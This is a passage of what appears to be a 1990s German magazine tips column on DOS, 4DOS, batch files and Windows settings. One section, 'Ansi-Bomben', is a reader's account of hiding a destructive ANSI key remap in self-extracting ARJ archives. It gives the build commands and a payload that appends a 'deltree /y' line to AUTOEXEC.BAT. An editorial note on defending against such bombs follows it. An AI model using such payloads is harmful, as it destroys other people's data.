offenbar den Aufruf "command/p", was einen normalen Abschluss
mit "exit" unterbindet. Ausserdem sind die üblichen
Tastenkombinationen für Windows (wie <Alt>-< Tab>)
allesamt für die DOS-Box reserviert, so dass Windows darauf nicht
mehr ansprechen kann. Diese Eingriffe sind mit dem PIF-Editor
(PIFEDIT. EXE) -unter Windows 95 über das Eigenschaften-Menü
-problemlos rückgängig zu machen. |
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Probleme
mit der CONFIG.SYS:
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Thema: |
FC.EXE |
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Das MS-DOS-Programm FC.EXE dient zum Vergleich von Ascii-Dateien.
Besonders nützlich ist dieses Tool, um Veränderungen an
Konfigurationsdateien zu überwachen. Mit der CONFIG.SYS scheint FC
allerdings Probleme zu haben. Geben Sie etwa FC ohne Optionen ein,
fc config.sys config.bak
so führt FC einen binären Vergleich durch. Der Grund für dieses
Verhalten liegt darin, dass FC Dateien mit den Namensendungen COM, EXE
und SYS als Programmdateien betrachtet. Wenn Sie FC dagegen mit der
Option /l aufrufen, so vergleicht es die Ascii-Zeichen, und Sie
erhalten die gewünschten Ergebnisse in korrekter Form. |
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Probleme
mit der Tastaturbelegung:
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Thema: |
ANSI-Sequenzen |
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Über ANSI-Befehlsfolgen wie
ECHO Prompt <Strg>-<P> <Esc>[0;63;"DIR";13
(belegt die <F5>-Taste mit dem DIR-Befehl und abschliessendem
<Return>) habe ich viele meiner Funktionstasten und diverse
Tastenkombinationen mit den gängigsten DOS-Befehlen belegt. Doch
schon unter MS-DOS 5.0 musste ich feststellen, dass diese Zuweisungen
eine gewisse Anzahl nicht überschreiten dürfen. Auch unter MS-DOS
6.2 hat sich hier nichts geändert.
Ich habe bereits versucht, bestimmten Tasten DOSKEY-Makros zuzuweisen,
um Speicher für meine Zuweisungen zu sparen - aber ohne Erfolg.
Daniel W., Naila
Zunächst ist anzumerken, dass bereits einer der beiden Befehle ECHO
oder PROMPT ausreicht, um eine ANSI-Escape-Sequenz auszugeben. Während
ECHO für den Beginn einer solchen Sequenz ein Escape-Zeichen verlangt
und sich daher auf der Kommandozeile praktisch nicht verwenden lässt,
gibt sich PROMPT mit dem Ersatz "$e", also mit
Prompt $e[0;63;"DIR";13
zufrieden. Die Tastenkombination <Strg>-<P>,<Esc>
ist nur dann notwendig, wenn Sie im DOS-Editor ein Es-cape-Zeichen
eingeben wollen: Die ANSI-Sequenz selbst beginnt erst mit dem
Es-cape-Zeichen.
Das Weglassen des überflüssigen PROMPT-Befehls nach ECHO hat
allerdings keinen Einfluss auf das Limit von ANSI.SYS, das bei einer
zu grosszügigen Vergabe von Tastaturmakros erreicht wird.
In der Praxis haben wir diese Grenze allerdings niemals erreicht, und
das sollte beim üblichen Einsatz von ANSI-Sequenzen auch nicht der
Fall sein.
Eine Möglichkeit, Tastenzuweisungen zu vermeiden, stellen in der Tat
DOSKEY-Makros dar. Der Tippaufwand für die Ausführung komplexer
Befehle reduziert sich mit ihrer Hilfe im Minimalfall auf zwei
Tasten-anschläge: Dies sollte den Verzicht auf Tastaturzuweisungen
erträglich machen.
Wenn Sie mit diesem Kompromiss nicht leben können und auf exzessives
Umdefinieren der Tastaturbelegung Wert legen, bietet vielleicht der
alternative Kommandointerpreter 4DOS eine Lösung. Mit dem
Alias-Befehl können Sie alle möglichen Tasten neu belegen.-ws |
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Rechenfehler:
0=-2.384186E-06:
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Thema: |
Qbasic |
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Frustrierte Pentium-Benutzer haben wohl mit Interesse erfahren, dass
QBasic den fehlerhaften Coprozessor des Pentiums nicht benutzt. Aber
niemand wird wohl ernsthaft daran denken, das mit DOS mitgelieferte
QBasic professionell zu nutzen. Scheinbar gehören aber Rechenfehler
zum Standard der gängigen Programme - so auch bei QBasic. Man kann
die ärgerliche Ungenauigkeit leicht nachvollziehen. Die Zeilen
A = ((0.9 - 1) * 100) + 10
PRINT A
sollten nach Adam Riese zum Ergebnis "0" führen. Die
Rechenkünste von QBasic überraschen mit dem Ergebnis
-2.384186E-06
Das ist zwar eine sehr geringe Abweichung (-0,000002384186) vom
korrekten Ergebnis "0". Dennoch gilt auch hier, was beim
Pentium-Fehler und den Rundungsfehlern in Kalkulationen die
eigentliche Gefahr ist: Dient das ungenaue Ergebnis als Basis für
weitere Berechnungen, potenziert sich die zunächst geringe
Abweichung.-fg |
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Schneller
Verzeichniswechsel:
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Thema: |
4DOS |
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Viele DOS-Anwender benutzen Utilities wie Norton's Change Directory
(NCD), um sich beim Verzeichniswechsel die Eingabe von langen
Pfadangaben zu ersparen. Unter dem alternativen Kommandointerpreter
4DOS können Sie in solchen Fällen Tipparbeit vermeiden, ohne gleich
Software von Drittanbietern kaufen zu müssen. Die Option
"File-name Completion" erlaubt es, nur die Anfangsbuchstaben
von Datei- oder Verzeichnisnamen einzugeben und sie anschliessend
durch 4DOS vervollständigen zu lassen: Wenn Sie
cd wi
eingeben und dann <F9> drücken, dann komplettiert 4DOS diesen
Befehl beispielsweise zu
cd winapps
Für den Wechsel in vielbenutzte Verzeichnisse bietet 4DOS ein
weiteres Schnellverfahren an: Die Umgebungsvariable "cdpath"
macht es möglich, bestimmte Verzeichnisse ohne Angabe des vollständigen
Pfades direkt anzusteuern. Wird beispielsweise diese Variable
definiert durch
set cdpath=c:\windows
dann können Sie von jedem beliebigen Verzeichnis aus ganz komfortabel
mit "cd system" nach C:\WINDOWS\SYSTEM wechseln.-ws |
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Sie
spart hundert Klicks:
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Thema: |
_DEFAULT.PIF |
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Problem: Sie sind dauernd damit beschäftigt, für diverse
DOS-Utilities und Batches eigene PIF-Dateien anzulegen oder - was das
gleiche ist - unter Windows 95 die"Eigenschaften" zu ändern.
Lösung: Sofern nicht wirklich jedes kleine Utility seine eigenen
Einstellungen haben soll, lässt sich die PIF-Inflation meist durch
die General-PIF _DEFAULT.PIF verhindern. Sie gilt für jedes
DOS-Programm, das keine eigene PIF besitzt. Daher macht eine gut
eingestellte _DEFAULT.PIF oft ein ganzes Heer an individuellen PIFs überflüssig.
Sollen sich etwa alle DOS-Programme per Maus beenden lassen, genügt
es, die Option "Schliessen beim Beenden von Windows" in der
_DEFAULT.PIF anzukreuzen. In Windows 95 ist die Option
"Sonstiges, Warnung, wenn noch aktiv" zu deaktivieren. Hier
haben Sie ausserdem die Möglichkeit, über "Schriftart" ein
Standard-Outfit aller DOS-Boxen zu erzielen.
Um die in Windows 95 nicht vorhandene _DEFAULT.PIF zu erstellen,
kopieren Sie einfach eine beliebige vorhandene PIF in das
Windows-Verzeichnis und benennen sie um in "_default". Nach
einem Klick mit der rechten Maustaste nehmen Sie alle gewünschten
Standardeinstellungen vor und löschen die Befehlszeile (!). Vergeben
Sie abschliessend am besten ein neues Icon, an dem Sie künftig alle
DOS-Programme, die auf _DEFAULT.PIF basieren, sofort erkennen. Unter
Windows 3.1x sorgt ein sprechender "Programmtitel" wie
"Standard-PIF" für den gleichen Effekt. -ha |
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So
bleibt ECHO flexibel:
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Thema: |
Batchdateien |
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Nahezu jede Batchdatei beginnt mit dem stereotypen "@echo
off", das die Bildschirmausgabe auf das Wesentliche eingrenzen
soll. Nun gibt es aber vor allem beim Testen einer Batchdatei durchaus
gute Gründe, möglichst alle Aktionen zu überwachen und so
eventuellen Fehlern schneller auf die Spur zu kommen. Im allgemeinen
reicht es in solchen Fällen bereits aus, den einleitenden ECHO-Befehl
vorübergehend auszukommentieren:
::@echo off
In komplizierteren Fällen, insbesondere bei einer Verkettung mehrerer
Batchdateien, scheint eine andere Methode praktischer. Beginnen Sie künftig
Ihre Batchdateien mit dem Befehl
@if %debug%.==. echo off
Dann steht der ECHO-Befehl in Abhängigkeit von der Variablen
"debug". Sobald Sie dieser Variablen einen beliebigen Wert
zuweisen (set debug=x), bleibt das Bildschirm-Echo für alle so
beginnenden Batchdateien aktiv. Erst das Löschen der Variablen (set
debug=) schaltet ECHO wieder aus. -gf |
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Undokumentierter
Schalter für COMMAND.COM:
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Thema: |
(I)gnorieren |
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Ich möchte bestimmte Daten bei jedem Booten automatisch auf
Diskette sichern. Deshalb habe ich im Bios-Setup C: als Boot-Laufwerk
eingetragen.
Wenn nun einmal keine Diskette im Laufwerk ist, dann bleibt der
Boot-Vorgang beim Versuch, automatisch auf A: zu kopieren, mit der
Fehlermeldung "(A)bbrechen, (W)iederholen, (I)gnorieren" hängen.
Ist es möglich, DOS so einzurichten, dass es den Boot-Vorgang
automatisch fortsetzt, falls das Diskettenlaufwerk leer ist?
Peter H., Asslar
Ihr Problem lässt sich relativ einfach lösen: für COMMAND.COM
existiert der undokumentierte Schalter /f, der DOS veranlasst, bei der
besagten Fehlermeldung automatisch mit "(I)gnorieren" zu
antworten. Damit sich dieses Verhalten von DOS bereits in der
AUTOEXEC.BAT bemerkbar macht, müssen Sie in der CONFIG.SYS die Zeile
SHELL=C:\COMMAND.COM /P /E:1024
um den Schalter /f ergänzen:
SHELL=C:\COMMAND.COM /P /F /E:1024
Daraufhin bootet der PC nunmehr anstandslos. -pk |
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Viel
Farbenpracht mit Ansi-Bomben:
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Thema: |
Datensicherheit in der Praxis |
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Schräge Belegungen: Es gibt immer noch Menschen mit DOS. Und für
diese Unverbesserlichen ist ein Ansi-Treiber wie ANSI.SYS ein fast
standardmässig eingesetztes Hilfsmittel, um die karge Kommandozeile
mit etwas Farbe aufzupeppen. In der Tat bringen die kryptischen
Ansi-Sequenzen jede Menge Farbe ins Leben der Mitmenschen, wenn ich
sie für schräge Tastenbelegungen verwende:
[13; 8; 13; 13p
In diesem Fall erhält die <Return>-Taste (Ascii 13) einen
eingebauten Rückschritt (Ascii 8) verpasst, was die normale Eingabe
fantasievoller gestaltet. Raffiniert schräge Belegungen: Da aber bei
solchen Anschlägen stets die Gefahr besteht, dass die so geneppten
Mitmenschen einen Zusammenhang mit früheren Ansi-Ärgernissen
herstellen, packe ich meine Ansi-Bomben bevorzugt in
selbstextrahierende EXE-Archive. Leider schaltet das
Komprimierprogramm Pkunzip heutzutage die Ansi-Kommentare standardmässig
ab. Doch mit der Komprimieralternative ARJ ist es nach wie vor möglich,
selbstextrahierende EXE-Archive so zu erstellen, dass sie beim
Entpacken unerwünschte Ansi-Belegungen an den Mann (die Frau)
bringen: Ich lege also erst einmal ein normales Archiv an (arj a arch
*. pcx), dann füge ich mit
arj c arch -zcomment. dat
den Ansi-Kommentar COMMENT.DAT hinzu und verwandle das Archiv anschliessend
mit "arj y -je1 -ja arch" in eine EXE-Datei, wobei die
Ansi-Kommentare mit dem Schalter "-ja" explizit aktiviert
werden müssen. Wie die Escape-Sequenzen in meiner COMMENT.DAT
auszusehen haben, steht in jedem DOS-Handbuch: Ich kombiniere stets
zur besseren Tarnung einige farbenfrohe Escape-Kommandos mit dem bewussten
Tastaturbelegungsbefehl, auf den es mir eigentlich ankommt.
Extrem gefährliche Belegungen: Wer die von mir angelegten Archive
entpackt, bekommt einige nette bunte Zeilen serviert, zusätzlich aber
auch eine weniger nette Ansi-Sequenz wie zum Beispiel die folgende:
["/";13;"echo deltree /y c:\*. >>
c:\autoexec.bat";13;"cls";13;13p
Wenn der Betroffene danach die Taste "/" drückt, schreibt
die Bombe eine letale Zeile in seine AUTOEXEC.BAT, die dann beim nächsten
Systemstart seine
Verzeichnisse beseitigt. Beim Kollegen W. wollte ich bei diesem Zerstörungswerk
lieber auf Nummer Sicher gehen, und so habe ich den Vernichtungsbefehl
direkt mit einer bestimmten Taste verknüpft -also ohne den Umweg über
die Startdatei.
Wie Sie sich wehren -Kommentar der Redaktion Ansi-Bomben können durch
Tastatur-Umbelegungen verheerende Schäden anrichten. In der Regel
belegt der Attentäter eine ganz normale Taste, eine Funktionstaste
oder auch die <Return>-Taste mit einem oder mehreren
vernichtenden DOS-Befehlen. Diese Tastaturdefinition gilt ausschliesslich
für den DOS-Prompt.
Ansi-Bomben zielen fast immer auf den Totalschaden. Zwar kann der
Bombenleger wie in einer Batchdatei mehrere DOS-Befehle absetzen, aber
die Begrenzung auf maximal 127 Zeichen innerhalb einer DOS-Zeile lässt
praktisch nur Vernichtung zu. Theoretisch kann jede beliebige
Ascii-Datei Ansi-Bomben enthalten. Da diese allerdings
nur durch den antiquierten TYPE-Befehl aktiviert würden, gibt es kaum
Hacker, die ihre Anschläge auf diesem Weg zu verüben suchen.
Gepackte Archive mit integrierten Ansi-Kommentaren erweisen sich als
weitaus zuverlässigere Bombenträger. Diese Kommentare werden beim
Entpacken automatisch gelesen: Im Normalfall enthalten sie bunte
Mailbox-Logos oder farbige Absender-Adressen, theoretisch aber auch
die berüchtigten Bomben. Insbesondere selbstextrahierenden
EXE-Archiven, die zunächst einen Farbkommentar abrufen, sollten Sie
mit Vorsicht begegnen. TIP: Sicher vor Ansi-Bomben sind Sie, wenn Sie
den Treiber ANSI.SYS erst gar nicht installiert haben. Praktisch
genauso sicher sind Sie auch mit installiertem ANSI.SYS, wenn Sie nach
dem Entpacken sofort den Rechner neu starten beziehungsweise unter
Windows oder OS/ 2 sofort die DOS-Box schliessen, in der Sie das
Archiv entpackt haben. So schliessen Sie definitiv aus, dass Sie auf
eine Tastenmine treten, weil Ansi-Belegungen nur für die lokale
DOS-Box gelten. |
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Visuell
gliedernde Sprungmarken:
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Thema: |
Batchdateien |
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Bei Batchdateien mit GOTO-Sprüngen versäumen die meisten Anwender
eine ganz einfache und praktische Möglichkeit, die Struktur ihrer
Batchdatei nicht nur inhaltlich, sondern auch optisch zu gliedern. Es
bietet sich nämlich an, statt eines nichtssagenden Labelnamens wie
":Weiter", den man erst im Kontext suchen muss, etwa eine
gestrichelte Linie oder auch ein Sonderzeichen einzusetzen.
Eine besonders klare optische Struktur erreichen Sie mit einer
Sonderzeichenmarke von etwa 40 oder 60 Zeichen Länge. Der
DOS-Kommandointerpreter hat mit einer solchen Marke weder nach dem
GOTO noch nach dem Markendoppelpunkt Probleme: Er liest die Marke
einfach bis zum achten Zeichen ein und ignoriert den Rest. Für solche
Labels können Sie zwar nicht die die typischen Sonderzeichen wie
Pluszeichen, Punkt oder Strichpunkt verwenden, doch stehen immerhin
alle Zeichen des erweiterten ASCII-Vorrats zur Verfügung. -rb |
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Vobis-Pentium und überholte DLL:
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Thema:
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MS-DOS 6.x |
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Die Windows-Version des Backup-Dienstprogramms aus dem Lieferumfang
von MS-DOS 6.x scheitert beim Konfigurationstest. Betroffen sind sämtliche
PCI-Rechner, die den Konfigurationstest mit einem "Lesefehler auf
Laufwerk A:" abbrechen.
Verursacher ist die Datei MWBACKF.DLL, die sich üblicher- weise im
DOS-Verzeichnis befindet. Inzwischen gibt es eine neue DLL, bei der
dieser Fehler nicht mehr auftritt und die Sie aus der PC-WELT-Mailbox
(089/36086357) beziehen können. -ha
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Windows-Unterstützungnachträglich installieren:
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Thema: |
Novell-DOS 7.0 |
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Novell-DOS richtet bei seiner Installation eine eigene
Programmgruppe für die mitgelieferten Utilities ein und sorgt für
die Windows-Unterstützung der mitgelieferten Personal Netware.
Voraussetzung dafür ist natürlich, dass Sie im Novell-DOS-Setup die
entsprechende Option aktivieren. Allerdings erscheint diese Option
nur, wenn Sie Novell-DOS über eine bestehende DOS/Windows-Umgebung
installieren.
Ist bei der Erstinstallation kein Windows vorhanden, unterschlägt das
DOS-7.0-Setup aus naheliegenden Gründen einfach die Windows-Option.
Der Versuch, dieWindows-Unterstützung nachträglich für ein
"frisches" Windows einzurichten, scheitert allerdings an der
Widerspenstigkeit des Setup-Programms: Es verschweigt hartnäckig die
gewünschte Option. Sie müssten also Novell-DOS nochmals komplett von
Diskette installieren, um die Windows-Komponenten nachrüsten zu können.
Einfacher lässt sich dieses Problem beheben, indem Sie ein paar Einträge
in der DateiSETUP.INI - sie steht im Verzeichnis NWDOS - folgendermassen
anpassen:
Winpath = <Windows-Pfad>
FirstTime = Yes
Element0Installed = Yes
Element1Installed = No
Element2Installed = Yes
NetcfgDir=<Personal-NetWarePfad>
Windows=No
Für den Eintrag NetcfgDir müssen Sie unbedingt den Pfad zu Ihrer
NET.CFG-Datei angeben.
Nun erst erklärt sich das recht eigenwillige Installationsprogramm
bereit, die Windows-Unterstützung für Personal Netware sowie für
Novells Windows-Programme einzurichten und dem Programm-Manager eine
eigene Gruppe für Novell-DOS 7.0 hinzuzufügen. |
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